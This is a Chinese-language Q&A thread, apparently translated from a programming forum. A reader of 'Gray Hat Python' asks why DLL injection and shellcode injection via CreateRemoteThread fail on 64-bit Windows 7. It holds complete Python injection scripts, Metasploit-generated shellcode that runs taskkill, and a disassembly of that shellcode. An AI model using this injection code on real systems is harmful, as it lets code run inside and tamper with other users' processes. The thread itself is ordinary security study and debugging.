2012-06-12 44 views
0

我正在阅读Gray Hat Python一书,并且在遇到上述注入技巧时遇到了麻烦。CreateRemoteThread()未按预期行事

DLL注入代码工作正常,但dll中的代码看起来不会执行,并且不会创建消息框。

代码注入声明已成功执行,但终止进程的shellcode无法正确执行,接收注入的进程立即停止工作。

由于Windows 7和这本书只是有点过时了这些问题吗?或者还可能有其他问题?我正在运行Windows 7旗舰版64位。

不管怎么说,这里是代码:

dll_inject.py

import sys 
from ctypes import * 

PAGE_READWRITE  = 0x04 
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF) 
VIRTUAL_MEM   = (0x1000 | 0x2000) 

kernel32 = windll.kernel32 
pid   = sys.argv[1] 
dll_path = sys.argv[2] 

dll_len = len(dll_path) 

#Get a handle to the process we are injecting into 
h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid)) 

if not h_process: 
    print "[*} Couldn't acquire a handle to PID: %s" % pid 
    sys.exit(0) 

#Allocate some space for the DLL path 
arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_MEM, PAGE_READWRITE) 

#Write the DLL path into the allocated space 
written = c_int(0) 
kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written)) 

#We need to resolve the address for LoadLibraryA 
h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") 
h_loadlib = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA") 

#Now we try to create the remote thread, with the entry point set to 
#LoadlibraryA and a pointer to the DLL path as its single parameter 
thread_id = c_ulong(0) 

if not kernel32.CreateRemoteThread(h_process, None, 0, h_loadlib, arg_address, 
            0, byref(thread_id)): 
    print "[*] Failed in inject DLL. Exting." 
    sys.exit(0) 

code_inject.py

import sys 
from ctypes import * 

#We set the EXECUTE access mask so that our shellcode will 
#execute in the memory block we have allocated 
PAGE_EXECUTE_READWRITE = 0x00000040 
PROCESS_ALL_ACCESS  = (0x000F0000 | 0x00100000 | 0xFFF) 
VIRTUAL_MEM    = (0x1000 | 0x2000) 

if not sys.argv[1] or not sys.argv[2]: 
    print "Code Injector: ./code_injector.py <pid to inject> <pid to kill>" 
    sys.exit(0) 

kernel32 = windll.kernel32 
pid   = int(sys.argv[1]) 
pid_to_kill = sys.argv[2] 

# win32_exec - EXITFUNC=thread CMD=taskkill /PID AAAAAAAA Size=152 
# Encoder=None http://metasploit.com 

shellcode = \ 
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \ 
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \ 
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \ 
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \ 
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \ 
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \ 
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \ 
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \ 
"\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \ 
"\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00" 

padding   = 4 - (len(pid_to_kill)) 
replace_value = pid_to_kill + ("\x00" * padding) 
replace_string = "\x41" * 4 

shellcode  = shellcode.replace(replace_string, replace_value) 
code_size  = len(shellcode) 

#Get a handle to the process we are injecting into. 
h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid)) 

if not h_process: 
    print "[*] Couldn't acquire a handle to PID: %s" % pid 
    sys.exit(0) 

#Allocate some space for the shellcode 
arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size, 
             VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) 

#Write out the shellcode 
written = c_int(0) 
kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, 
          byref(written)) 

#Now we create the remote thread and point its entry routine 
#to be head of our shellcode 
thread_id = c_ulong(0) 

if not kernel32.CreateRemoteThread(h_process, None, 0, arg_address, None, 
            0, byref(thread_id)): 
    print "[*] Failed to inject process-killing shellcode. Exiting." 
    sys.exit(0) 

print "[*] Remote thread created with a thread ID of: 0x%0xx" % thread_id.value 
print "[*] Process %s should not be running anymore!" % pid_to_kill 
print "[*] Remote thread with ID 0x%08x created" % thread_id.value 

injected.dll

// dllmain.cpp : Defines the entry point for the DLL application. 
#include "stdafx.h" 

BOOL APIENTRY DllMain(HMODULE hModule, 
         DWORD ul_reason_for_call, 
         LPVOID lpReserved 
    ) 
{ 
switch (ul_reason_for_call) 
{ 
case DLL_PROCESS_ATTACH: 
     MessageBoxA(NULL,"Hello from the process!","I am inside the process you injected!",MB_OK); 
case DLL_THREAD_ATTACH: 
case DLL_THREAD_DETACH: 
case DLL_PROCESS_DETACH: 
    break; 
} 
return TRUE; 
} 
+0

您是否正在注入64位进程?我的猜测是shellcode不是64位友好的。我也会确定你的应用程序是以管理权限运行的 - 这个代码最初是为Windows XP编写的,并没有考虑Windows 7的任何安全功能。 –

+0

64位Windows 7甚至不支持createremotethread函数。但是,如果这是问题,我相信Windows 7支持相同的功能。 –

回答

1

我已经在这里搜索了几次,但是从我看到的所有答案来看,Python的ctypes模块即使在64位版本的Python上也能正常工作。我个人还没有能够获得远程代码注入来正确运行,但说实话,我没有花太多时间来尝试排除它的故障。至于你的具体问题:

我发现在使用ctypes时发现的一件事情是,当你明确指定argtypes和restype时,它往往会更加合作。其实,如果我没有记错的话,我有几乎相同的代码,直到我指定涉及的类型时才拒绝正常工作。我有一个an older version of one of my repositories,其中包含您在名为_kernel32.py的文件中使用的API的所有声明。尝试插入这些声明并查看是否修复了dll_inject.py脚本。

至于code_inject.py脚本,我觉得TreeMonkie的评论是正确的。虽然64位反汇编器不转了什么我真的可以遵循,拆解它与32位指令打开了以下内容:

.686p 
.mmx 
.model flat 

; Segment type: Pure code 
seg000 segment byte public 'CODE' use32 
    assume cs:seg000 
    assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing 
     cld 
     call sub_4A 
     mov eax, [ebp+3Ch] 
     mov edi, [ebp+eax+78h] 
     add edi, ebp 
     mov ecx, [edi+18h] 
     mov ebx, [edi+20h] 
     add ebx, ebp 

     loc_17: 
     dec ecx 
     mov esi, [ebx+ecx*4] 
     add esi, ebp 
     xor eax, eax 
     cdq 

     loc_20: 
     lodsb 
     test al, al 
     jz short loc_2C 
     ror edx, 0Dh 
     add edx, eax 
     jmp short loc_20 

     loc_2C: 
     cmp edx, [esp+4] 
     jnz short loc_17 
     mov ebx, [edi+24h] 
     add ebx, ebp 
     mov cx, [ebx+ecx*2] 
     mov ebx, [edi+1Ch] 
     add ebx, ebp 
     mov ebx, [ebx+ecx*4] 
     add ebx, ebp 
     mov [esp+4], ebx 
     retn 



    sub_4A proc near 
     xor eax, eax 
     mov eax, fs:[eax+30h] 
     test eax, eax 
     js short loc_60 
     mov eax, [eax+0Ch] 
     mov esi, [eax+1Ch] 
     lodsd 
     mov ebp, [eax+8] 
     jmp short loc_69 

     loc_60: 
     mov eax, [eax+0B0h] 
     mov ebp, [eax+3Ch] 

     loc_69: 
     pop edi 
     xor esi, esi 
     pusha 
     push esi 
     mov eax, edi 
     add eax, 7Bh 
     push eax 
     push 60E0CEEFh 
     push 0E8AFE98h 
     push edi 
     jmp edi 
    sub_4A endp 

    strCmd_exeCTask db 'cmd.exe /c taskkill /PID AAAA',0 
    seg000 ends 
end 

不管怎么说,如果是这样,其实32位的shellcode,它的不会在64位进程中工作。 (虽然我会说,鉴于我在64位程序集上阅读的内容很少,很可能我错了32位)

最后,您可能想查看dllinject.py file in the pyinject project。看起来好像他在他的类中实现了远程shellcode注入。

希望有所帮助。